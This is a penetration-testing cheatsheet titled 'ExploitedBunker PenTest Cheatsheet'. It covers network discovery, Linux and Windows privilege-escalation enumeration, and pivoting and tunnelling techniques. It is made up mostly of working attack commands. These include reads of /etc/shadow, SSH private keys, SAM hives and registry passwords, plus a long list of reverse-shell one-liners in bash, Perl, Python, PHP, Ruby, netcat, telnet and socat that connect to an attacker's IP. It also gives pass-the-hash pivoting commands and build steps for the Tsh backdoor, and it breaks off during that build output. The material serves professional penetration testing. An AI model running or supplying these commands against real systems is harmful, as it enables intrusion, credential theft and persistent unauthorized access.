ExploitedBunker PenTest Cheatsheet

0. Why another cheatsheet?

  1. I wanted to have this information organized in a single place without duplicates.
  2. The sources might go offline at some point (some of them are already gone).
  3. I kindly hate my bookmarks.

All sources are available in the Appendixes.

  1. Network Discovery
  2. Linux Privilege Escalation
  3. Windows Privilege Escalation
  4. Reverse Shell
  5. Network Pivoting
  6. Remote Command Execution
  7. Exploit Writing
  8. Web and DB Exploitation
  9. File Transfers
  10. Cheatsheets
  11. Appendixes
    • A. Sources
    • B. Tools
    • C. Security Lists
    • D. Learn by doing
    • E. Learning
    • F. Methodology

1. Network Discovery

netdiscover -i eth0 -r 192.168.1.0/24

Nmap ping sweep

nmap -sn -n -vvvv 10.11.1.1-10 | grep "scan report" | grep -v "host down" | cut -d' ' -f5

Basic Nmap portscan

nmap -A -Pn -vvvv --open -oA OUTPUTFILE 10.1.1.0/24
nmap -A -Pn -vvvv --open -oA OUTPUTFILE -iL INPUTFILE

2. Linux Privilege Escalation

Target specifics

What is the distribution type and version?

cat /etc/issue
cat /etc/*-release
  cat /etc/lsb-release      # Debian based
  cat /etc/redhat-release   # Redhat based

What is the kernel version? Is it 64-bit?

cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-

Which services are running and with which user privilege?

ps aux
ps -ef
top
cat /etc/services

Which services are being run with root privileges?

ps aux | grep root
ps -ef | grep root

Which jobs are scheduled?

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

What is the configuration of the available services?

cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/

Network

What NICs are available? Is the system connected to another network?

/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network

What are the network configuration settings?

cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L -v
hostname
dnsdomainname

Which users and hosts are communicating with the system?

lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w

Which IPs and/or MAC addresses are cached?

arp -e
route
/sbin/route -nee

Files

What sensitive files can be found?

cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/

Anything interesting in the home directories?

ls -ahlR /root/
ls -ahlR /home/

What has the user been doing? Is there any password in plain text?

cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history

Which user information can be found?

cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root

Could private key information be found?

cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key

Which development tools/languages are installed?

find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc

How can files be uploaded?

find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp
find / -name ncat*

Which configuration files can be written in /etc/? Able to reconfigure a service?

ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null        # Anyone
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null          # Owner
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null       # Group
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null           # Other

find /etc/ -readable -type f 2>/dev/null               # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null   # Anyone

Which “Advanced Linux File Permissions” are used? Sticky bits, SUID & GUID

find / -perm -1000 -type d 2>/dev/null   # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the owner, not the user who started it.

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done    # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)

# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

Writeable folders. Common places: /tmp, /var/tmp, /dev/shm

find / -writable -type d 2>/dev/null      # world-writeable folders
find / -perm -222 -type d 2>/dev/null     # world-writeable folders
find / -perm -o w -type d 2>/dev/null     # world-writeable folders

find / -perm -o x -type d 2>/dev/null     # world-executable folders

find / \( -perm -o w -perm -o x \) -type d 2>/dev/null   # world-writeable & executable folders

Any “problem” files? Word-writeable and “nobody” files

find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print   # world-writeable files
find /dir -xdev \( -nouser -o -nogroup \) -print                 # No owner files

What can be found in /var/?

ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases

Any (hidden) settings or files on website? Any settings or files with database information?

ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/

Are there any plaintext username or password?

grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"   # Joomla

Spawn a TTY shell

python -c 'import pty; pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i

For more, see section 4.

3. Windows Privilege Escalation

CMD commands and Powershell equivalent. Powershell is much more versatile for scripting than the traditional CMD. However, there isn’t a Powershell equivalent for everything (or CMD is still simply easier/better on certain things), so some sections will only contain regular CMD commands.

Operating System

What is the OS and architecture? Is it missing any patches?

systeminfo
wmic qfe

Users

Who are you?

whoami
echo %USERNAME%
$env:UserName

Any interesting user privileges? Note: The State column does not mean that the user does or does not have access to this privilege. If the privilege is listed, then that user has it.

whoami /priv

What users are on the system? Any old user profiles that weren’t cleaned up?

net users
dir /b /ad "C:\Users\"
dir /b /ad "C:\Documents and Settings\" # Windows XP and below
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name

Is anyone else logged in?

qwinsta

What groups are on the system?

net localgroup
Get-LocalGroup | ft Name

Are any of the users in the Administrators group?

net localgroup Administrators
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Anything in the Registry for User Autologon?

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' | select "Default*"

Anything interesting in Credential Manager?

cmdkey /list
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

Can we access SAM and SYSTEM files?

%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

Programs, Processes, and Services

What software is installed?

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime

Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Are there any weak folder or file permissions?

Full Permissions for Everyone or Users on Program Folders?

icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "Everyone"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "Everyone"

icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"

Modify Permissions for Everyone or Users on Program Folders?

icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "Everyone"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "Everyone"

icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users" 
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}} 

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

You can also upload accesschk from Sysinternals to check for writeable folders and files.

accesschk.exe -qwsu "Everyone" *
accesschk.exe -qwsu "Authenticated Users" *
accesschk.exe -qwsu "Users" *

What are the running processes/services on the system? Is there an inside service not exposed? If so, can we open it? See Port Forwarding in Appendix.

tasklist /svc
tasklist /v
net start
sc query

Get-Process has a -IncludeUserName option to see the process owner, however you have to have administrative rights to use it.

Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
Get-Service

This one liner returns the process owner without admin rights, if something is blank under owner it’s probably running as SYSTEM, NETWORK SERVICE, or LOCAL SERVICE.

Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

Any weak service permissions? Can we reconfigure anything? Again, upload accesschk.

accesschk.exe -uwcqv "Everyone" *
accesschk.exe -uwcqv "Authenticated Users" *
accesschk.exe -uwcqv "Users" *

Are there any unquoted service paths?

wmic service get name,displayname,pathname,startmode 2>nul |findstr /i "Auto" 2>nul |findstr /i /v "C:\Windows\\" 2>nul |findstr /i /v """
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

What scheduled tasks are there? Anything custom implemented?

schtasks /query /fo LIST 2>nul | findstr TaskName
dir C:\windows\tasks
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State

What is ran at startup?

wmic startup get caption,command
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ItemProperty -Path 'Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ChildItem "C:\Users\All Users\Start Menu\Programs\Startup"
Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"

Is AlwaysInstallElevated enabled? I have not ran across this but it doesn’t hurt to check.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Networking

What NICs are connected? Are there multiple networks?

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

What routes do we have?

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

Anything in the ARP cache?

arp -a
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State

Are there connections to other hosts?

netstat -ano

Anything in the hosts file?

C:\WINDOWS\System32\drivers\etc\hosts

Is the firewall turned on? If so what’s configured?

netsh firewall show state
netsh firewall show config
netsh advfirewall firewall show rule name=all
netsh advfirewall export "firewall.txt"

Any other interesting interface configurations?

netsh dump

Are there any SNMP configurations?

reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse

Interesting Files and Sensitive Information This section may be a little noisy so you may want to output commands into txt files to review and parse as you wish.

Any passwords in the registry?

reg query HKCU /f password /t REG_SZ /s
reg query HKLM /f password /t REG_SZ /s

Are there sysprep or unattended files available that weren’t cleaned up?

dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

If the server is an IIS webserver, what’s in inetpub? Any hidden directories? web.config files?

dir /a C:\inetpub\
dir /s web.config
C:\Windows\System32\inetsrv\config\applicationHost.config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

What’s in the IIS Logs?

C:\inetpub\logs\LogFiles\W3SVC1\u_ex[YYMMDD].log
C:\inetpub\logs\LogFiles\W3SVC2\u_ex[YYMMDD].log
C:\inetpub\logs\LogFiles\FTPSVC1\u_ex[YYMMDD].log
C:\inetpub\logs\LogFiles\FTPSVC2\u_ex[YYMMDD].log

Is XAMPP, Apache, or PHP installed? Any there any XAMPP, Apache, or PHP configuration files?

dir /s php.ini httpd.conf httpd-xampp.conf my.ini my.cnf
Get-Childitem –Path C:\ -Include php.ini,httpd.conf,httpd-xampp.conf,my.ini,my.cnf -File -Recurse -ErrorAction SilentlyContinue

Any Apache web logs?

dir /s access.log error.log
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

Any interesting files to look at? Possibly inside User directories (Desktop, Documents, etc)?

dir /s *pass* == *vnc* == *.config* 2>nul
Get-Childitem –Path C:\Users\ -Include *password*,*vnc*,*.config -File -Recurse -ErrorAction SilentlyContinue

Files containing password inside them?

findstr /si password *.xml *.ini *.txt *.config 2>nul
Get-ChildItem C:\* -include *.xml,*.ini,*.txt,*.config -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "password"

Local File Inclusion List

This is not an exhaustive list, installation directories will vary, I’ve only listed common ones.

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini 
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

See also: SANS Windows Command Line Cheatsheet

4. Reverse Shell

Bash

Some shells are compiled to allow Connect-back shell

bash -i >& /dev/tcp/10.0.0.1/1234 0>&1

Perl

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Python

Tested under Linux / Python 2.7:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

PHP

This code assumes that the TCP connection uses file descriptor 3. This worked on my test system. If it doesn’t work, try 4, 5, 6…

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

http://pentestmonkey.net/tools/web-shells/php-reverse-shell

https://github.com/fuzzdb-project/php-webshells

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat

Netcat is rarely present on production systems and even if it is there are several version of Netcat, some of which don’t support the -e option.

nc -e /bin/sh 10.0.0.1 1234

If you have the wrong version of Netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Depending on the version and compilation flags:

nc -c /bin/sh $attacker_ip 4444
or
/bin/sh | nc $attacker_ip 4444
or
rm -f /tmp/p; mknod /tmp/p p && nc $attacker_ip 4444 0/tmp/p

See also 7 Linux Shells Using Built-in Tools from lanmaster53.com blog.

SANS Netcat Cheatsheet

Telnet

Of course, you can also use Telnet as an alternative for Netcat:

rm -f /tmp/p; mknod /tmp/p p && telnet $attacker_ip 4444 0/tmp/p

Or:

telnet $attacker_ip 4444 | /bin/bash | telnet $attacker_ip 4445
# Remember to listen on your machine also on port 4445/tcp

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/1234;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

XTerm

To catch incoming xterm, start an open X Server on your system (:1 - which listens on TCP port 6001). One way to do this is with Xnest:

Xnest :1

Then remember to authorise on your system the target IP to connect to you:

xterm -display 127.0.0.1:1  # Run this OUTSIDE the Xnest
xhost +targetip             # Run this INSIDE the spawned xterm on the open X Server

Then on the target, assuming that xterm is installed, connect back to the open X Server on your system:

xterm -display $attacker_ip:1

Or:

$ DISPLAY=attackerip:0 xterm

It will try to connect back to you, $attacker_ip, on TCP port 6001.

Note that on Solaris xterm path is usually not within the PATH environment variable, you need to specify its filepath: /usr/openwin/bin/xterm -display $attacker_ip:1

nc + telnet

nc -lvp 4444    # Attacker. Input (Commands)
nc -lvp 4445    # Attacker. Ouput (Results)
telnet $attacker_ip 44444 | /bin/sh | $local_ip 44445    # On the targets system. Use the attacker's IP!

TO TRY: perl —e ‘exec “/bin/sh”;’ ruby: exec “/bin/sh” lua: os.execute(‘/bin/sh’)

(From within vi) :!bash

(From within vi) :set shell=/bin/bash:shell

(From within nmap) !sh

5. Network Pivoting

Basic Pivoting Types

Type Use Case
Listen - Listen Exposed asset, may not want to connect out.
Listen - Connect Normal redirect.
Connect - Connect Can’t bind, so connect to bridge two hosts

Listen - Listen

Netcat - Pivot Host

ncat -v -l -p 8080 -c "ncat -v -l -p 9090"

Socat - Pivot Host

socat -v tcp-listen:8080 tcp-listen:9090

Remote host 1 We connect to the first side of the listen->listen trigger and send the file as input.

ncat localhost 8080 < file

Remote host 2 We connect to the second side of the listen->listen trigger and write the output to disk.

ncat localhost 9090 > newfile

Listen - Connect

Netcat - Pivot Host

ncat -l -v -p 8080 -c "ncat localhost 9090"

Socat - Pivot Host

socat -v tcp-listen:8080,reuseaddr tcp-connect:localhost:9090

Remote host 1 We connect to the listen side of the listen->connect trigger and send file as input.

ncat localhost -p 8080 < file

Remote host 2 We wait and listen for the connect from the listen->connect trigger and write the file to disk.

ncat -l -p 9090 > newfile

Connect - Connect

Netcat - Pivot Host Remote host listeners must be bound first.

ncat localhost 8080 -c "ncat localhost 9090"

Socat - Pivot Host Remote host listeners must be bound first.

socat -v tcp-connect:localhost:8080,reuseaddr tcp-connect:localhost:9090

Remote Host 1 We bind and listen to port 8080 and send the file as input.

ncat -l -p 8080 < file

Remote Host 2 We bind and listen to port 9090 and write the data to disk.

ncat -l -p 9090 > newfile

SSH Tunnels

Dynamic SOCKS Proxy

This can be used with Proxychains to forward client traffic through the remote server.

ssh -D8080 [user]@[host]

Local Port Forwarding

This will bind to [bindaddr]:[port] on the client and forward through the SSH server to the [dsthost]:[dstport]

ssh -L [bindaddr]:[port]:[dsthost]:[dstport] [user]@[host]

Remote Port Forwarding

This will bind to [bindaddr]:[port] on the remote server and tunnel traffic through the ssh client side to [localhost]:[localport]

ssh -R [bindaddr]:[port]:[localhost]:[localport] [user]@[host]

Establish VPN over SSH The following options must be enabled on the server side.

PermitRootLogin yes
PermitTunnel yes
ssh [user]@[host] -w any:any

You can see the established tun interface by typing ifconfig -a

The interfaces and forwarding must still be configured. This assumes that we are going to forward 10.0.0.0/24 through the remote server. We are also assuming that the server’s main connection is through eth0, and both client/server stood up tun0. This may be different if you already have existing VPN connections.

Client

ip addr add 192.168.5.2/32 peer 192.168.5.1 dev tun0
# Once Server is setup, run the following to add routes
route add -net 10.0.0.0/24 gw 192.168.5.1

Server

ip addr add 192.168.5.1/32 peer 192.168.5.2 dev tun0
sysctl -w net.ipv4.ip_forward=1
iptables -t nat -A POSTROUTING -s 192.168.5.1 -o eth0 -j MASQUERADE

Proxychains

The configuration file in /etc/proxychains.conf must be edited to point towards your SOCKS proxy. Typically this is done with an SSH or other type of tunnel. Make sure your ports match.

[ProxyList]
socks4 localhost 8080

Now, in order to run any type of network through the proxy just run it like so. Remember, you can’t run any raw socket scans through a SOCKS4 proxy. You need to setup an SSH VPN tunnel or something similar for that type of functionality.

proxychains nmap 192.168.5.6

reGeorg (Web Shell SOCKS proxy)

reGeorg is a fantastic tool for using SOCKS proxies through a compromised web server. The delivery mechanism can be aspx, asph, jsp, or php. Simply upload the desired file to the webserver.

python reGeorgSocksProxy.py -p 8080 -u http://compromised.host/shell.jsp

You are now free to use your regular tools using proxychains.

Rpivot

Rpivot is a great SOCKS proxy based pivot tool that works like SSH’s dynamic proxy -D option, but it works in the reverse order.

Server (Attacker box)

python server.py --proxy-port 1080 --server-port 9443 --server-ip 0.0.0.0

Client (Compromised box)

python client.py --server-ip <ip> --server-port 9443

The Server will now have a SOCKS proxy on port 1080 that will forward traffic through the [client].

Through corporate proxy

Rpivot also works through corporate proxies.

python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [proxy ip] \
--ntlm-proxy-port 8080 --domain CORP --username jdoe --password 1q2w3e

Passing the hash

If you prefer passing the hash, then you’re also in luck.

python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [proxy ip] \
--ntlm-proxy-port 8080 --domain CORP --username jdoe \
--hashes 986D46921DDE3E58E03656362614DEFE:50C189A98FF73B39AAD3B435B51404EE

Meterpreter

Meterpreter allows you to create pivoting routes within the framework for use with any of the builtin modules. To automatically route, just use the following.

run autoroute -s 192.168.5.1/24

To print routes:

run autoroute -p

Meterpreter - SOCKS Proxy

Now you can run other tools through Meterpreter using proxychains.

use auxiliary/server/socks4a
set SRVPORT 8080
run

Forward single ports

Below will forward rdesktop sessions from localhost port 3389 to the target 192.168.5.9 through Meterpreter as a tunnel.

portfwd add -L 127.0.0.1 -l 3389 -r 192.168.5.9 -p 3389

AutoSSH

AutoSSH is a tool that allows you to automatically restart SSH sessions and tunnels. The following line will open port 2222 on host attacker and tunnel it to the compromised host on port 22. You would then be able to setup a dynamic SSH SOCKS proxy and connect to localhost:2222 and be able to forward through the compromised host as normal.

autossh -M 0 -o "ServerAliveInterval 30" -o "ServerAliveCountMax 3" -L 2222:localhost:22 [evil]@[attacker]

ICMP tunneling

If ICMP traffic is allowed to external networks then most likely you can establish an ICMP tunnel. The downside is that you will need root/administrator privileges on the target system because of the necessity to use raw sockets. Check this tool out - http://code.gerade.org/hans/. Personally I’ve never tried running it on Windows. It works like a charm on Linux tho. Server side command (attacker’s machine):

./hans -v -f -s 1.1.1.1 -p user@host

The -v flag is for verbosity, the -f flag is to run in foreground and the -s flag’s value is the server’s IP on the newly created tun interface.

Client side:

./hans -f -c <server_ip> -p user@host -v

After successful connection the client should be directly visible at 1.1.1.100:

# ping 1.1.1.100
PING 1.1.1.100 (1.1.1.100) 56(84) bytes of data.
64 bytes from 1.1.1.100: icmp_seq=1 ttl=65 time=42.9 ms

Now you can use this machine as gate into the internal network. Use this machine a default gateway or connect to a management interface (ssh/tsh/web shell).

Socat

Netcat on steroids! Seriously tho, go check this tool’s manual man socat and you’d be amazed what you can do with this tool regarding tunneling. Among other things it can spawn a fully interactive shell, even better than the aforementioned python-pty. The downside is that you most probably will have to build/install this tool on the target server as it is not a default utility in most unix-like distributions.

Bind shell

Set listener:

socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane

Connect to the listener:

socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337

Reverse shell

Set listener:

socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0

Connect to attacker’s machine:

socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane

Tsh

Tsh is a small ssh-like backdoor with full-pty terminal and with capability of file transfer. This tool has very small footprint and is easily built on most unix-like systems. Start with editing tsh.h file:

#ifndef _TSH_H
#define _TSH_H

char *secret = "never say never say die";

#define SERVER_PORT 22
short int server_port = SERVER_PORT;
/*
#define CONNECT_BACK_HOST  "localhost"
#define CONNECT_BACK_DELAY 30
*/
#define GET_FILE 1
#define PUT_FILE 2
#define RUNSHELL 3

#endif /* tsh.h */

Change secret, specify SERVER_PORT. Uncomment and edit CONNECT_BACK_HOST and CONNECT_BACK_DELAY directives if you want backconnect. Run make:

$ make linux_x64
make								\
	LDFLAGS=" -Xlinker --no-as-needed -lutil"	\
	DEFS=" -DLINUX"					\
	tsh tshd
make[1]: Entering directory '/tmp/tsh'
gcc -O3 -W -Wall -DLINUX -c pel.c
gcc -O3 -W -Wall -DLINUX -c aes.c
gcc -O3 -W -Wall -DLINUX -c sha1.c
gcc -O3 -W -Wall -DLINUX -c tsh.c
gcc -Xlinker --no-as-needed -lutil -o tsh pel.o aes.o sha1.o tsh.o
strip tsh
gcc -O3 -W -Wall -DLINUX -c tshd.c
